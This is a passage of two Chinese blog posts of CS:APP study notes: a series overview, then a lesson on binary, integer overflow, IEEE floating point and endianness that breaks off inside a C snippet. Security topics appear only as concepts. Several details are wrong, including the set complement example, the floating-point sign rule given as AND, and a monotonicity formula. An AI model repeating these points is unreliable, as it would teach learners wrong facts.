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        曾经的《深入理解计算机系统》课程笔记重新启航出发，更清晰的知识结构，更细致的概念分析，更紧密的课程关联。从文字到图片完全原创，希望能给大家不一样的阅读体验。




更新历史


	2017.03.18: 更新链接

	2016.12.20: 内容更新

	2016.04.16: 完成初稿



《深入理解计算机系统》是 CMU 教授 Bryant 和 O’Hallaron 共同撰写的一本计算机学科经典入门教材。先从数据的表示开始，自然而然引出用汇编描述的计算机基本运行的方式，接着介绍控制流、过程调用到跳转等高级话题，以了解了计算机运行的模式，并据此给出一些程序设计的技巧作为过渡。这之后开始涉及诸如内存、编译器、进程、信号、I/O、虚拟内存、动态内存分配等知识。这些东西看起来都非常吓人，但是老师很科学地把握好了『度』，让我们理解基本原理的同时却不会过早陷入无谓的复杂度，这样以后想要深入学习可以自己去探索。在单机的知识基本完备之后，开始涉及网络、同步、并行编程等高级话题，为后面的学习打下基础。

这个系列脱胎于我之前连载的《深入理解计算机系统》学习笔记（因为包含课程相关信息，在学校的要求下删除）。当时是一边学习一边记录，这次是完成所有课程内容之后再回顾，所以会更加清晰透彻。当然，从文字到图片全部都是个人原创，也就不存在版权问题了。

下面通过问答的形式，来对这个系列做简要的介绍。

为什么要写？


	这是一本非常经典的教材，也是一本大部头，第三版一千多页，并不是所有人都能坚持看完，希望以『读薄』的形式，让更多人能领略到经典的风采。

	我在 CMU 的时候在书本作者的亲自教授下修完了以这本书为教材的『镇校神课』并完成了所有实验，一是总结，二是分享，在交流的过程中加深对知识的理解。

	老版本的课程笔记因为涉及到部分课件内容，在校方的要求下删除，这个新版无论是文字还是配图都由我亲自制作，力争做到源于课程，高于课程。

	这是一本非常值得学习的教材，原来的文章删除之后很多朋友表达了遗憾之情。但是我完全可以做得更好，真正把知识融会贯通展示给大家。



经过大概一个星期的筹划，老版课程笔记以『读薄/读厚』系列重生。不是为了输赢，就是想做点什么，这就是写这个系列的原因。

能带给读者什么？


	对计算机系统有更加全面且深入的认识。

	扎实的基础，无论是想要进阶学习编译原理、操作系统还是网络，基本的概念在这个系列都已覆盖。

	从机器代码（汇编）开始，逐步了解编程本身的进化。

	培养朝抵抗力最大的路径走的坚定，学会如何去学习。



这也是我写新技术系列的一次尝试，让互联网上高质量的中文内容多一些，再多一些。

有什么局限？


	这不是一个可以速成，看看就懂的系列，需要自己动手去实践。话说回来，天底下的真功夫，也没有能够速成的。

	相对国内的课程和文章，比较深入，很多内容学习工作中并不会直接遇到，但本系列的重点是『知其所以然』。真正的高手，飞花落叶皆可伤敌，打通任督二脉，苦练内力，功夫才可大成。

	工作量比较大，会花费很多实践，需要不断尝试，不断跌倒再爬起，而这正是『深入理解计算机系统』的必经之路。

	需要自行探索的部分很多，我个人的知识体系并不完备，欢迎大家在评论中各抒己见，让这个系列更加完美。



在这个快节奏的时代，慢一点，再慢一点。

主要写什么？


	从基本概念入手，辅以图片，尽量用具体实例阐述推导和思考的过程，不用『显然』偷懒，不用『易知』搪塞。

	逆推设计过程，还原具体情境，为什么会有不同的设计不同的系统，寻找『三江源』。

	结合 CMU 官方课程，对全书内容进行重新编排，加入更多个人的理解和思考，利用文字跨域时空限制，和读者一起进步。

	具体实验中进行尝试和拓展，不只给出行得通的解法，更应该去了解行不通的解法到底问题出在哪里



对自己的要求是写作的时候，细致一点，再细致一点。

不会写什么？


	不会过多重复课本中已有的概念，这个系列并不是《深入理解计算机系统》的缩写版，而应该是『学习伴侣』，有自己的思考，再来看看我的思考和大家的思考，这样才是最高效的学习。

	不会贴出答案，这个系列并不能让你快速完成作业，但是能在你遇到问题的时候，或多或少给出一些提示和启发。

	不会详述只需要简单搜索就可以找到答案的问题，希望能专注于那些『不懂甚至不知道如何搜索』的问题，并以此鼓励大家培养自己主动探索解决问题的能力



对读者的要求是学习的时候，走一步，再走一步。

具体编排

『读薄』主要是点出书本中的重点概念，『读厚』则是专注于七个实验的思考，希望大家喜欢这个系列（反正我是很喜欢）。

读薄部分


	壹 数据表示 - 不同的数据是如何存储与表示的
	无符号数，补码，浮点数，位操作，数学计算，汇编程序





	贰 机器指令与程序优化 - 控制流、过程调用、跳转
	C 控制流程的表示，数据结构的分配和访问，体系架构和编译器，栈分配，寄存器，参数传递，运算指令，安全漏洞，指针





	叁 内存与缓存 - 内存层级与缓存机制
	内存技术，内存层级，缓存，磁盘，局部性，体系架构和操作系统





	肆 链接 - 不同的代码如何协同
	静态和动态链接，目标文件，符号解析，重定位，静态库，共享目标库，位置无关代码，库打桩





	伍 异常控制流 - 不同进程间的切换与沟通
	硬件异常，进程，进程控制，Unix 信号，非本地跳转





	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方
	高层和底层 IO





	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘
	虚拟内存，地址翻译，动态存储分配





	捌 网络编程 - 从最原始套接字彻底理解网络编程
	Internet 服务，Web 服务器





	玖 并行与同步 - 协同工作中最重要的两个问题
	并行，并行服务器设计，线程，IO 复用，信号量，竞争条件，死锁







读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器



谁不想用最简单的方法获得最强大的能力，但是这又怎么可能。捷径，如果指的是最短的路径，那么也就是梯度上升最快的路径，更是最难的路径。靠什么去走完这段旅程呢？

靠自己。靠自己的思考。靠自己的百折不挠。

相关链接


	Computer Systems: A Programmer’s Perspective, 3/E (CS:APP3e)

	CS:APP3e Student Site

	15-213 (18-213/15-513): Introduction to Computer Systems (ICS)

	Awesome Computer Science
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        道生一，一生二，二生三，三生万物。计算机中的一二三是什么？它们又是如何构造出如此精彩纷呈的数字世界的？这一讲我们从最基本的数据表示开始，慢慢走进计算机系统的大门。




更新历史


	16.04.16: 初稿完成



系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



学习目标


	理解计算机系统的复杂与和理论抽象描述的不同

	理解内存中数据的保存形式，以及这种方式的好处以及限制

	注意避开一些常见的关于计算机的迷思

	区别整型和浮点数的表达机制，并理解为什么会有这种差异

	简单理解溢出出现的条件



编程迷思

无论是计算机科班出身的学生，还是半路出家的爱好者，因为现在编程难度的大幅度降低，很多时候并不需要理解底层的实现就已经可以写出过得去的代码。但是网上的一些错误理解以及教材中由于内容编排对概念所做的抽象，导致了许多『想当然』的问题。要深入理解计算机系统，得先把这些『迷思』弄清楚，这样接下来的旅程会好走很多。

计算机不只是执行程序的机器

计算机脱胎于图灵机的构想，简单来说，就是能够执行有限逻辑数学过程的计算模型。图灵机的概念很有意思，但是这里由于篇幅问题不再深入，感兴趣的话可以从维基百科[1]入门，然后就可以看看《图灵的秘密》[2]这本书，从生平到提出图灵机的论文研读都非常不错。

图灵机中最重要的两个『物理』硬件是纸带和读写头（这里的『物理』指的是相对于图灵机其他部分而言）。这种抽象非常简单明了，但是很容易给人一种错误印象，即由图灵机发展而来的现代计算机，就是执行程序的机器而已。

计算机学科的发展，与其说是众人拾柴火焰高，不如说是天才引导的历程。真正奠定现代计算机基础的则是冯诺依曼[3]，1945 年发表的 101 页报告[4]，不但提出了二进制的构想，更将计算机分成五大组件（存储器、控制器、运算器、输入、输出），我们现在使用的大部分计算机都符合冯诺依曼架构，『计算机之父』之名绝不为过。

当然，这个世界上总是少不了『既生瑜，何生亮』的桥段，与冯诺依曼架构（也称为普林斯顿架构）一时瑜亮另一种架构叫做哈佛架构[5]，它和冯诺依曼架构最大的区别在于能够同时访问数据和指令。虽然在计算机体系架构中黯然退场，但是哈佛结构在移动计算中扮演了非常重要的角色，ARM 架构可能是知名度最高的当红炸子鸡了。

和图灵机相比，这两种架构最重要的突破就是增加的存储器，这使得程序和数据的存储成为可能，也因此衍生出来了数据传输（即 IO）的概念，再加上六十年代末出现的计算机网络，计算机要完成的工作，远不止执行程序这么简单。

凡事有利有弊，冯诺依曼架构也有缺陷，甚至可以这么理解，目前计算机系统的诸多漏洞和不稳定，是在设计之初就注定的。比方说缓存溢出可以执行攻击者预订好的程序，给系统带来巨大的安全风险。虽然我们可以采用各种各样的技术来进行防范，但是道高一尺魔高一丈，比方说采用返回导向编程[6]的堆栈溢出攻击，在出现之后长达十多年里，主流操作系统都毫无防范之力！不过，我们在『读厚』部分能够亲自体验一把漏洞攻击，知己知彼，百战不殆嘛。

很多东西并不像看起来那样简单

学习算法的时候肯定离不开思考时间复杂度和空间复杂度，但 $O(n^3)$ 真的很糟糕，$O(1)$ 真的就很好吗？虽然在单纯的算法分析中是如此，但是在计算机系统中，算法只是一小部分。假设一个 $O(1)$ 的算法会导致死锁，虽然看起来比 $O(n^3)$ 的算法好得多，然而真正执行起来，可能就是无尽的等待了。

程序执行并不是一锤子买卖，从算法到数据表示再到程序流程，从内存到缓存再到运算器。不理解计算机系统本身，不理解程序是如何编译执行，又怎么能够写出好程序呢？

前面提到冯诺依曼架构带来了溢出的问题，二进制和十进制的差异也是的计算机中的数学，和理论上的数学有细微的差异。不要小看这点差异，如果因为忽视了它们而采用了错误的假定，基本是不可能得出准确的结果的，不过话说回来，很多时候计算机中也没有什么『准确的结果』，更多的是『可以表示的结果』。

我们知道，在纸面上看 $(x+1)^2 \ge 0$ 是一定的，但是在计算机中就不一定了，比方说：

# dawang at wdxtub.local in ~ [9:00:52]
$ lldb
(lldb) print (233333 + 1) * (233333 + 1)
(int) $0 = -1389819292


简单来说，溢出了，就成了负数。但是因为浮点数的表示方法和整数不同，并不会出现因为溢出而变成负数的问题。

那为啥我们不干脆都用浮点数？因为浮点数也有自己的问题，比方说 $(x+y)+z = x + (y+z)$ 在浮点数运算就不一定了：

# dawang at wdxtub.local in ~ [9:05:02]
$ lldb
(lldb) print (1e20 + -1e20) + 3.14
(double) $0 = 3.1400000000000001
(lldb) print 1e20 + (-1e20 + 3.14)
(double) $1 = 0


交换一下顺序结果就完全不同了，这又是为什么？因为浮点数的表示方法虽然可以避免溢出（极端情况还是会），但会损失部分精度。

如果一定要在计算机系统中找一个关键词，在我看来一定是『权衡』，在之后的学习过程中，我们会常常看到因为实际与理论的差异不得不做出的妥协，而真正的智慧结晶，则是在妥协的同时找到最接近完美的权衡，可谓『带着镣铐跳舞』。

内存里多的是我们不知道的事

很多著名网站都是由于内存错误『引发』的，比方说 stackoverflow 和 segmentfault。虽然现代编程语言大多采用了比较完善的内存保护的机制，但是从 C 时代流传下来的这些错误名称则随着时间推移成为了经典，颇有『为人不识 XX 兰，阅尽 XX 也枉然』的既视感。

的确，无论是 C 或者 C++ 都没有提供任何内存保护机制，再加上强大且危险的指针，出现溢出或者段错误实在是家常便饭。这类问题的问题在于，很难确定是程序本身的问题，还是编译器或者系统的问题。好吧，虽然大部分时候是程序的问题，即便如此也很难发现根源，毕竟我们的思考方式没办法做到和计算机一样。

我们可见的内存并不是物理内存，而是一个非物理的抽象概念。不但需要考虑边界，还得负责空间的分配和管理。假如程序的问题出在动态内存分配上，想要找出来就不那么简单的，毕竟 RAM 中的 R 意思是随机(Random)，要在随机中找确定，难免要花大把的时间。

更『可怕』的是，要想真正理解计算机系统中的诸多概念，得去读机器代码，当然不用读 0 和 1 啦，可是汇编是少不了的。汇编虽然是机器相关的，好在现在 Intel 的 CPU 基本一统江湖，我们不必考虑不同平台的差异。但是在学习的过程中一定能深深感受到，能编写机器无关的代码，是多么幸福的事情。汇编相比高级编程语言更加反直觉，在这里我只能鼓励大家硬着头皮上了。

比特心生

扯了这么多，我们还是回到这一讲的主要内容 —— 比特(bit)。研究问题有两种方法，一种是自顶向下，另一种是自底向上。对于设计来说，很多时候是自顶向下的，从一个整体想法出发，然后慢慢细化；而在学习化学的时候，往往是自底向上的，比方说先去了解组成元素的基本粒子，然后在这些粒子的基础上进行更加抽象的研究。从这个角度看，学习计算机系统，自底向上可能是一个好的方向。

这一节的标题源自于比特新声[7]这一档播音节目，改了俩字儿，意在强调比特的重要性。

在计算机中，我们看到的一切，归根到底，都是比特，每个比特不是 0 就是 1。计算机就是通过对比特进行不同方式的编码和描述，来完成执行不同的任务。那么问题来了，为什么是比特而不是其他呢？这就要从模拟电路讲起，一言以蔽之就是，比特这种描述方式很好存储，并且在有噪声或者传输不那么准确的情况下，也能保持比较高的可靠度（电压值有一定的容错范围）。

在这样的物理基础上，计算机就是一个二进制系统，我们通过下面这个表格来把二进制、十进制和十六进制一一对应起来，这三种数字表示形式在今后的学习过程中会反复出现，可以把这个表格当做九九乘法表来看：




	十六进制
	十进制
	二进制
	十六进制
	十进制
	二进制





	0
	0
	0000
	8
	8
	1000 



	1
	1
	0001
	9
	9
	1001



	2
	2
	0010
	A
	10
	1010



	3
	3
	0011
	B
	11
	1011



	4
	4
	0100
	C
	12
	1100



	5
	5
	0101
	D
	13
	1101



	6
	6
	0110
	E
	14
	1110



	7
	7
	0111
	F
	15
	1111





正如加减乘除，关于比特的基本逻辑运算也有四种，可以看做是布尔代数[8]的子集。对于 0 和 1 来说，是这样的：


	与 And：A=1 且 B=1 时，A&B = 1

	或 Or：A=1 或 B=1 时，A|B = 1

	非 Not：A=1 时，~A=0；A=0 时，~A=1

	异或 Exclusive-Or(Xor)：A=1 或 B=1 时，A^B = 1；A=1 且 B=1 时，A^B = 0



对应与集合运算则是交集、并集、差集和补集，假设集合 A 是 {0, 3, 5, 6}，集合 B 是 {0, 2, 4, 6}，全集为 {0, 1, 2, 3, 4, 5, 6, 7}（感谢网友 Sangrita. 指出）那么：


	& 交集 Intersection {0, 6}

	| 并集 Union {0, 2, 3, 4, 5, 6}

	^ 差集 Symmetric difference {2, 3, 4, 5}

	~ 补集 Complement {1, 3, 5, 7}



有了这些知识，我们就可以来具体看看不同类型的数据在计算机中是如何存储和进行运算的了。

整型 Integer

C 语言之所以效率高，很大程度上是因为抽象程度较低，很多关键字和计算机系统中的概念是一一对应的。比方说 signed 和 unsigned，就表示有符号数和无符号数。假设字长(word size)为 w，那么二进制向十进制的转换分别是：


	无符号数：$B2U(X)=\sum_{i=0}^{w-1}x_i·2^i$

	有符号数： $B2T(X)=-x_{w-1}·2^{w-1}+\sum_{i=0}^{w-2}x_i·2^i$ 



有符号数和无符号数的区别主要在于有没有最高位的符号位，以及由此带来的计算方式的不同。符号位中，0 表示非负数，1 表示负数。具体的表示方法如下




	十进制
	十六进制
	二进制





	15213
	3B 6D
	00111011 01101101



	-15213
	C4 93
	11000100 10010011





对于二进制数字来说，还有两种常用操作：左移和右移。左移比较简单，在右边补 0 即可。右移的话有两种类型，一种是逻辑右移（左边补 0），另一种是算术右移（左边补符号位）。为什么会有这两种，因为对应无符号数和有符号数的运算，有符号数的最高位（最左边）是符号位在负数的时候需要进行算术右移

整型表示的特点

接下来我们看看这种表示形式的特点，以及溢出的集中情况，假设字长为 w，定义如下的常量：


	UMin = 0 即 000…0

	UMax = $2^w-1$ 即 111…1

	TMin = $-2^{w-1}$ 即 100…0

	TMax = $2^{w-1}-1$ 即 011…1

	Minus 1 即 111…1



这里的 U 表示无符号数，T 表示补码(Two’s Complement)，对于字长为 16 的情况来说，我们有：




	\
	Decimal
	Hex
	Binary





	UMax
	65535
	FF FF
	11111111 11111111



	TMax
	32767
	7F FF
	01111111 11111111



	TMin
	-32768
	80 00
	10000000 00000000



	-1
	-1
	FF FF
	11111111 11111111



	0
	0
	00 00
	00000000 00000000





对于不同的 word size，数值也会有很大的变化




	w
	8
	16
	32
	64 





	UMax
	255
	65,535
	4,294,967,295
	18,446,744,073,709,551,615



	TMax
	127
	32,767
	2,147,483,647
	9,223,372,036,854,775,807



	TMin
	-128
	-32,768
	-2,147,483,648
	-9223,372,036,854,775,808





观察可以得知两个很重要的特性


	|TMin| = TMax + 1 (范围并不是对称的)

	UMax = 2*TMax + 1



有符号数和无符号数在非负数的编码是一样的，每一个数字的编码是唯一的，这两者可以互换：


	$U2B(x)=B2U^{-1}(x)$

	$T2B(x)=B2T^{-1}(x)$



类型转换

我们在数轴上把有符号数和无符号数画出来的话，就能很清晰的看出相对的关系：

[image: ]

在 C 语言中，如果不加关键字限制，默认的整型是有符号的。如果想要无符号数的话，需要在数字后面加 U，例如下面的代码段

int a_signed_number = -15213;
unsigned int a_unsigned_number = 15213U;


在进行有符号和无符号数的互相转换时：


	具体每一个字节的值不会改变，改变的是计算机解释当前值的方式

	如果一个表达式既包含有符号数也包含无符号数，那么会被隐式转换成无符号数进行比较



下面用字长 w = 32 为例，来进行说明，注意这里的每个表达式都是成立的，其中 TMin = -2,147,483,648, TMax = 2,147,483,647




	表达式
	比较对象





	0 == 0U
	无符号数



	-1 < 0
	有符号数



	-1 > 0U
	无符号数



	2147483647 > (-2147483647-1)
	有符号数



	2147483647U < (-2147483647-1)
	无符号数



	-1 > -2
	有符号数



	(unsigned)-1 > -2
	无符号数



	2147483647 < 2147483648U
	无符号数



	2147483647 > (int)2147483648U
	有符号数





类型扩展与截取

具体需要分情况讨论，如：


	扩展（例如从 short int 到 int），都可以得到预期的结果
	无符号数：加 0

	有符号数：加符号位





	截取（例如 unsigned 到 unsigned short），对于小的数字可以得到预期的结果
	无符号数：mod 操作

	有符号数：近似 mod 操作







举个例子

short int x = 15213;
int ix = (int) x;
short int y = -15213;
int iy = (int) y;


C 语言会自动做符号拓展，把小的数据类型转换成大的，如下表所示




	十进制
	十六进制
	二进制





	x=15213
	3B 6D
	00111011 01101101



	ix=15213
	00 00 3B 6D
	00000000 00000000 00111011 01101101



	y=-15213
	C4 93
	11000100 10010011



	iy=-15213
	FF FF C4 93
	11111111 11111111 11000100 10010011





运算与溢出

无论是无符号数还是有符号数，一旦用来表示数值的最高位发生了进位，超出了表达形式或者改变了符号位，就会发生溢出。

对于无符号数加法，如果两个 w 位的数字相加，结果是 w+1 位的话，那么就会丢弃掉最高位，实际上是做了一个 mod 操作（公式为 $s=UAdd_w(u,v)=u+v \; mod \; 2^w$）

假设 w=3，那么能够表达的数字范围是 000~111(0~7)（括号内为二进制对应的十进制数值，后同），那么如果一个表达式是 110+111(6+7)，原本应该等于 1101(13)，但是由于 w=3，所以最终的结果是 101(5)，也就是发生了溢出，两个无符号数相加，有可能反而变『小』。

对于有符号的加法(Two’s Complement Addition)，操作过程和无符号加法一样，只是解释的时候会有不同，因此会得到正溢出(positive overflow)和负溢出(negative overflow)两种。正溢出就是数值太大把原来为 0 的符号位修改成了 1，反而成了负数；负溢出是数值太小，把原来为 1 的符号位修改成了 0，反而成了正数。

还是用刚才 w=3 作为例子，能够表达的数字范围是 100~011(-4~3)，如果一个表达式是 011+010(3+2)，理论上应该等于 5，但是相加之后变成了 101(-3)，也就是发生了正溢出。如果一个表达式是 100+101(-4+(-3))，理论上应该等于 -7，但是相加后进位截取变成了 001(1)，也就是发生了负溢出。

对于乘法来说，值的范围会大很多，这里分情况讨论一下，假设两个乘数是 x,y 并且都是 w 位的：


	无符号数：至多 2w 位
	范围 $0 \le x \times y \le (2^w-1)^2 = 2^{2w}-2^{w+1}+1$





	有符号数，最小的负数：至多 2w - 1 位
	范围 $x \times y \ge (-2^{w-1})\times(2^{w-1}-1)=-2^{2w-2}+2^{w-1}$





	有符号数，最大的正数：至多 2w 位，只有 $(TMin_w)^2$ 一种情况
	范围 $x \times y \le (-2^{w-1})^2=2^{2w-2}$







如果需要保证精度，就需要用软件来实现了。另外，计算的无符号乘法的时候，会忽略最高的 w 位，相当于 $UMult_w(u,v)=u·v\;mod\;2^w$

浮点数 Float

浮点数可以用一个统一的公式来表达：

$$ \sum_{k=-j}^ib_k\times 2^k $$

例如

$$ 5\frac{3}{4}=101.11_2 \;,\; 2\frac{7}{8}=10.111_2 \;,\; 1\frac{7}{16}=1.0111_2 $$

可以看到除以二就相当于右移，并且可以横跨小数点。注意 $0.111…_2$ 非常接近于 1，因为 

$$ 1/2 + 1/4 + 1/8 + … + 1/2^i + … \to 1.0$$

通常用 $1.0-\epsilon$ 来表示这个值。

细心的同学就会发现，这种表达方式其实是比较明显的限制的，比如说，只有形为 $\frac{x}{2^k}$ 的小数部分可以被精确表示，其他的数字会变成循环的小数，例如：$\frac{1}{3}=0.0101010101[01]…_2$。

除此之外，另一个问题在于，如果给定了 w 个比特，能够表达的数字其实是有限的，具体的原因会在后面详细解释。

IEEE 浮点数标准

IEEE 的浮点数标准更多是从数值角度来建立的，对于舍入，上溢出和下溢出都有比较统一的处理方法。但与此同时也给硬件优化带来了比较大的困难。因为和平时使用的数制也有一定差异，从理解的角度来看不够直观，但是好在主流的 CPU 都支持浮点数，所以我们不必过多涉及这方面的细节。

在 IEEE 标准中，我们用下面的公式来表达浮点数：

$$(-1)^s \; M \; 2^E$$

其中 s 是符号位，决定正负；M 通常是一个值在 [1.0, 2.0) 的小数；E 是次方数。具体编码时结构如下，这里用单精度、双精度和扩展精度为例：

[image: ]

其中 s 对应着符号位，exp 对应着 E（注意，不一定等于 E，因为位数限制表达能力有限），frac 对应着 M（注意，不一定等于 M，因为位数限制表达能力有限）。不同的位数就代表了不同的表示能力，也就是单精度，双精度，扩展精度的来源。

规范化值(Normalized Values)

在 $exp \ne 000…0$ 和 $exp \ne 111…1$ 时，表示的其实都是规范化的值，为什么说是规范化呢？这里只需要大概知道因为实数轴上原来连续的值会被规范到有限的定值上并且这些定值之间的间距也是不一样的，具体可以通过后面给出的例子来理解（所以现在不明白也不用担心）

再来回顾一下我们计算浮点数的公式：

$$v=(-1)^s \; M \; 2^E$$

这里的 E 是一个偏移的值 $E=Exp-Bias$，其中


	Exp: 是 exp 编码区域的无符号数值

	Bias：值为 $2^{k-1} - 1$ 的偏移量，其中 k 是 exp 编码的位数，也就是说
	单精度：127（Exp: 1…254, E: -126…127）

	双精度：1023（Exp: 1…2046, E: -1022…1023）







之所以需要采用一个偏移量，是为了保证 exp 编码只需要以无符号数来处理。

而对于 M，一定是以 1 开头的：也就是 $M=1.xxx…x_2$。其中 xxx 的部分就是 frac 的编码部分，当 frac=000.00 的时候值最小（$M=1.0$），当 frac=111。。。1 的时候值最大（$M=2.0-\epsilon$），也就是说开头的 1 是『免费附送的』，并不需要实际的编码位。

举个例子，float F = 15213.0;，那么

$$15213_{10}=11101101101101_2=1.1101101101101_2 \times 2^{13}$$

于是 frac 部分的值就是小数点后面的数值，而 Exp = E + Bias = 13 + 127 = 140 = $10001100_2$，于是编码出来的浮点数是这样的：

0 10001100 11011011011010000000000
s   exp             frac


非规范化值(Denormalized Values)

当 $exp = 000…0$ 的时候，值是非规范化的，意思是，虽然实数轴上原来连续的值会被规范到有限的定值上，但是并些定值之间的间距也是一样的，具体可以通过后面给出的例子来理解（所以现在不明白也不用担心）

$$v=(-1)^s \; M \; 2^E$$

和前面不同的是 

$$E = 1 - Bias$$

而且 $M=0.xxx…x_2$，不是以 1 开头了。

当 exp=000…0 且 frac = 000…0 时，表示 0，而且因为符号位的缘故，实际上是有 +0 和 -0 两种的。而在 exp=000..0 且 $frac \ne 000…0$ 时，数值是接近 0 的，并且间距是一致的

特殊值

还有一种特殊情况，就是 $exp = 111…1$ 时，表示一些特殊值。

当 exp=111…1 且 frac = 000…0 时，表示 $\infty$，而且因为符号位的缘故，实际上是有 $+\infty$ 和 $-\infty$ 两种的。那些会溢出的操作就会用这个来表示，比如 $1.0/0.0=-1.0/0.0=+\infty\;,\;1.0/-0.0=-\infty$

而在 exp=111…1 且 $frac \ne 000…0$ 时，我们认为这不是一个数值（Not-a-Number，NaN），用来表示那些没办法确定的值，比如 $sqrt(-1),\infty-\infty,\infty\times 0$

实例学习

可能通过文字描述还是不够清晰，我们来看看上面各种情况对应到数轴中是怎么样的：

[image: ]

接下来举一个实际的例子，我们采用 1 位符号位，4 位 exp 位，3 位 frac 位，因此对应的 bias 为 7。回顾一下几个重要公式：

$$v=(-1)^s \; M \; 2^E$$

对于规范化数：$E=Exp-Bias$；对于非规范数：$E = 1 - Bias$，正数部分的数值为

    s exp  frac   E   值
------------------------------------------------------------------
    0 0000 000   -6   0   # 这部分是非规范化数值，下一部分是规范化值
    0 0000 001   -6   1/8 * 1/64 = 1/512 # 能表示的最接近零的值
    0 0000 010   -6   2/8 * 1/64 = 2/512 
    ...
    0 0000 110   -6   6/8 * 1/64 = 6/512
    0 0000 111   -6   7/8 * 1/64 = 7/512 # 能表示的最大非规范化值
------------------------------------------------------------------
    0 0001 000   -6   8/8 * 1/64 = 8/512 # 能表示的最小规范化值
    0 0001 001   -6   9/8 * 1/64 = 9/512
    ...
    0 0110 110   -1   14/8 * 1/2 = 14/16
    0 0110 111   -1   15/8 * 1/2 = 15/16 # 最接近且小于 1 的值
    0 0111 000    0   8/8 * 1 = 1
    0 0111 001    0   9/8 * 1 = 9/8      # 最接近且大于 1 的值
    0 0111 010    0   10/8 * 1 = 10/8
    ...
    0 1110 110    7   14/8 * 128 = 224
    0 1110 111    7   15/8 * 128 = 240   # 能表示的最大规范化值
------------------------------------------------------------------
    0 1111 000   n/a  无穷               # 特殊值


观察上表，我们可以发现如下一些比较有意思的规律：


	在 exp=0000 时，也就是非规范化的情况，间距是一致的，都是 1/8

	因为位数的限制，从零到一之间的数字只能以 1/8 为最小单位来表示，且相邻数字间间距一样

	在规范化的部分，可以发现由于 exp 部分的不同，所以相邻数字间的间隔也是不同的，比方说最接近 1 的数字是 15/16 和 9/8，分别相差 1/16 和 1/8，这也是由于 IEEE 浮点数表示法的公式决定的



舍入

对于浮点数的加法和乘法来说，我们可以先计算出准确值，然后转换到合适的精度。在这个过程中，既可能会溢出，也可能需要舍入来满足 frac 的精度。

在二进制中，我们舍入到最近的偶数，即如果出现在中间的情况，舍入之后最右边的值要是偶数，对于十进制数，例子如下：

  原数值       舍入结果    原因
2.8949999      2.89    不到一半，正常四舍五入
2.8950001      2.90    超过一般，正常四舍五入
2.8950000      2.90    刚好在一半时，保证最后一位是偶数，所以向上舍入
2.8850000      2.88    刚好在一半时，保证最后一位是偶数，所以向下舍入


对于二进制数也是类似的

  十进制    二进制     舍入结果  十进制    原因
2 又 3/32  10.00011   10.00     2      不到一半，正常四舍五入
2 又 3/16  10.00110   10.01  2 又 1/4   超过一般，正常四舍五入
2 又 7/8   10.11100   11.00     3      刚好在一半时，保证最后一位是偶数，所以向上舍入
2 又 5/8   10.10100   10.10  2 又 1/2   刚好在一半时，保证最后一位是偶数，所以向下舍入


浮点数加法


















 $$(-1)^{s_1}\; M_1 \; 2^{E_1} + (-1)^{s_2}\; M_2 \; 2^{E_2}$$ 
 这里假设 $E_1 > E_2$，结果是  $(-1)^{s}\; M \; 2^{E}$ ，其中 $s = s_1 \land s_2, M = M_1 + M_2, E = E_1$ 

	如果 M 大于等于 2，那么把 M 右移，并增加 E 的值

	如果 M 小于 1，把 M 左移 k 位，E 减少 k

	如果 E 超出了可以表示的范围，溢出

	把 M 舍入到 frac 的精度



基本性质


	相加可能产生 infinity 或者 NaN

	满足交换率

	不满足结合律（因为舍入会造成精度损失，如 (3.14+1e10)-1e10=0，但 3.14+(1e10-1e10)=3.14）

	加上 0 等于原来的数

	除了 infinity 和 NaN，每个元素都有对应的倒数

	除了 infinity 和 NaN，满足单调性，即 $a\ge b \to a+c \ge b+c$



浮点数乘法


















 $$(-1)^{s_1}\; M_1 \; 2^{E_1} \times (-1)^{s_2}\; M_2 \; 2^{E_2}$$ 
结果是 $(-1)^{s}\; M \; 2^{E}$，其中  $ s= s_1 \land s_2, M = M_1 \times M_2, E = E_1 + E_2$ 


	如果 M 大于等于 2，那么把 M 右移，并增加 E 的值。

	如果 E 超出了可以表示的范围，溢出

	把 M 舍入到 frac 的精度



基本性质


	相乘可能产生 infinity 或者 NaN

	满足交换率

	不满足结合律（因为舍入会造成精度损失）

	乘以 1 等于原来的数

	不满足分配率 1e20*(1e20-1e20)=0.0 但 1e20*1e20-1e20*1e20=NaN

	除了 infinity 和 NaN，满足单调性，即 $a\ge b \to a\times c \ge a\times b$



数据在内存中的形式

后续章节会有关于内存的详细介绍，这里我们只要知道不同数据类型所占据的字节数，以及大端-小端规则即可。

操作系统会给每个进程提供私有的虚拟内存地址空间，一个进程可以访问自己的数据，但是不能访问别人的数据。在虚拟内存中地址是连续的，对应物理内存则不一定，根据字长的不同，有不同的间隔，如下图所示
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然后我们来看看常见数据类型所需要的字节数：




	数据类型
	32 位
	64 位
	x86-64





	char
	1
	1
	1



	short
	2
	2
	2



	int
	4
	4
	4



	long
	4
	8
	8



	float
	4
	4
	4



	double
	8
	8
	8



	long double
	-
	-
	10/16



	指针
	4
	8
	8





数据具体的排列也有两种方式：大端(Big Endian)与小端(Little Endian)，区别在于高位地址的位置。Internet 数据采用大端规则，而我们常见的 x86 或 ARM 处理器都采用小端规则。

举个例子，假如变量 x 是 4 字节，值为 0x01234567。用 &x 索引的地址是 0x100，那么大端和小端的表示形式是
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如何检查数据的表示呢，可以用下面的代码

typedef unsigned char *pointer;

void show_bytes(pointer start, size_t len) {
	size_t i;
